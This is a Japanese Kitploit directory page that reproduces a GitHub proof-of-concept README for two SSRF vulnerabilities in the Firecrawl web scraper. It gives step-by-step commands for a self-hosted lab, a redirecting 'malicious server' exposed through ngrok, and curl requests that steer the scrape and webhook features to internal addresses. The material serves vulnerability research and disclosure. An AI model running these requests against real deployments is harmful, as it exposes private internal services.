Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2024-56800-poc — Firecrawl WebスクレイパーにおけるSSRF脆弱性(CVE-2024-56800、CVE-2025-57818)を示す概念実証エクスプロイト。自己ホスト型セットアップと悪意のあるリダイレクトサーバーを使用。 | Kitploit
ツール/GitHubGitHub/cyhe50/cve-2024-56800-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストクローラー
GitHubcyhe50/cve-2024-56800-poc

cve-2024-56800-poc

Firecrawl WebスクレイパーにおけるSSRF脆弱性(CVE-2024-56800、CVE-2025-57818)を示す概念実証エクスプロイト。自己ホスト型セットアップと悪意のあるリダイレクトサーバーを使用。

リポジトリを見る
510ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve-2024-56800 POC

参考

https://nvd.nist.gov/vuln/detail/CVE-2024-56800

https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec

https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734

脆弱性

Firecrawlは、Webページのコンテンツを抽出できるWebスクレイパーです。 バージョン1.1.1より前には、サーバーサイドリクエストフォージェリ(SSRF)の脆弱性が存在します。 スクレイパーエンジンは、Webサイトが任意のローカルIPアドレスへのリダイレクトを受け入れ、プライベートサーバー内のリソースが漏洩します。

該当コードは apps/api/src/controllers/v1/scrape.ts にあります。

ユーザー入力はサニタイズされておらず、プライベートIPアドレスが許可されています。127.0.0.1を使用すると、実際にはFirecrawlのローカルネットワークにリダイレクトされ、Firecrawlサーバーの内部サーバーが漏洩します。

このPOCの使い方

1. このPOCをダウンロードする

root@kitploit:~
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc 

2. セルフホストのFirecrawlサーバーを起動する

root@kitploit:~
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..

3. 悪意のあるサーバーを起動する

root@kitploit:~
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server

4. 悪意のあるサーバーを公開する

理由は、FirecrawlサーバーがプライベートURLをブロックするためです。 サーバーを公開したくない場合は、Firecrawl内の検証を直接コメントアウトしても問題ないと思います。

ここでは私が行った内容を記載します。 ngrok:

root@kitploit:~
ngrok http 8000

5. スクレイパーを実行する

curl: (正しいURLを貼り付けてください)

root@kitploit:~
curl -X POST http://localhost:3002/v1/scrape \
      -H 'Content-Type: application/json' \
      -d '{
        "url": "https://xxxxx.ngrok-free.app",
        "formats": ["markdown", "html"]
      }'
Screenshot 2025-11-01 at 7 51 02 PM

scraper.py

root@kitploit:~
cd scraper

!! Dockerfileを開き、URLを生成したものに変更してください

root@kitploit:~
docker build -t scraper .
docker run scraper

期待される出力

POCの仕組み

脆弱なソースコード

セルフホストのFirecrawlサーバーを起動すると、5つのサービスが有効になり、そのうちの1つは firecrawl-test-1 です(詳細は docker ps で確認できます)。 これら5つのサービスはすべて同じネットワークに設定されているため、接続先のコンテナ名を使用してお互いに接続できます。

例: (firecrawl-test-1 に接続)

ローカルマシンで直接curlを実行:

root@kitploit:~
curl http://firecrawl-test-1:80
or
curl http://localhost:80

どちらも機能しません。なぜなら、これらはfirecrawl-test-1と同じネットワークにないからです。

ただし、firecrawl-api-1 内からアクセスする場合:

root@kitploit:~
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80

これらは正しいデータを出力します。なぜなら、同じネットワークにいるからです。

悪意のあるサーバーでは、http://firecrawl-test-1:80 にリダイレクトします。これはFirecrawlネットワークでのみ機能するはずです。 したがって、firecrawl-test-1サーバーに到達できたということは、スクレイパーがその内部サーバーにリダイレクトされたことを意味します。 これにより、SSRFがどのようにプライベートサーバーのリソースを公開するのかが示されます。

CVE-2025-57818

これもSSRF脆弱性です。 これはcrawl APIで発生します。パラメータ webhook がサニタイズされておらず、攻撃者はFirecrawlのローカルネットワークにPOSTリクエストを送信できます。

該当コードは apps/api/src/services/webhook.ts にあります。問題は、入力 webhookUrl がサニタイズされていないことです。

Webhookは指定されたURLにPOSTリクエストを送信します。ここでは127.0.0.1に設定し、内部サーバーに正常に接続しました。

root@kitploit:~
curl -X POST http://localhost:3002/v1/crawl \
     -H 'Content-Type: application/json' \
     -d '{
       "url": "https://example.com",
       "webhook": "http://127.0.0.1:80"
     }'

内部サーバーはPOSTリクエストを正常に受信しました Screenshot 2025-11-01 at 7 56 53 PM

ツールをダウンロード